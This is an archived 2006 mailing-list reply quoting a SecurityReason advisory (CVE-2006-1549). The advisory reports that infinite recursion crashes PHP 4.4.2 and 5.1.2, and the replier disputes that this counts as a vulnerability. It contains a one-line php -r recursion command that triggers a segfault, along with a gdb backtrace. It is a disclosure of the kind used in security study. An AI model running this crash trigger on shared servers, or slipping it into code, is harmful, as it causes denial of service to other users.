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Re: function *() php/apache Crash PHP 4.4.2 and 5.1.2
From: nocfed <nocfed () gmail com>
Date: Sun, 9 Apr 2006 04:16:44 -0500

On 4/8/06, Maksymilian Arciemowicz <max () jestsuper pl> wrote:
Source: http://securityreason.com/achievement_securityalert/35

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[function *() php/apache Crash PHP 4.4.2 and 5.1.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1549

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write dynamically
generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the
PHP Conference Material is freely available.

- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is in
allocated data to memory.

for example attack:

cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib#

Segfault.. let`s see what we have in gdb

- ---
cxib# cat /www/functionsegfault.php
<?
function cx(){
        cx();
}
cx();
?>
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'

Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
    __zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111     /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such
file or directory.
        in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0  0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260,
    __zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1  0x080f042a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4  0x080f019a in execute (op_array=0x81b3880)
    at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5  0x080f019a in execute (op_array=0x81b3880)
...
- ---

or in apache error_log

[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal
instruction (4)

- --- 2. Greets ---

For: sp3x
and
p_e_a, pi3, eax, Infospec ;]

- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com

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fork bombs are something that MUST be handled by the operating system.
 recursive functions must be allowed in any programing language.

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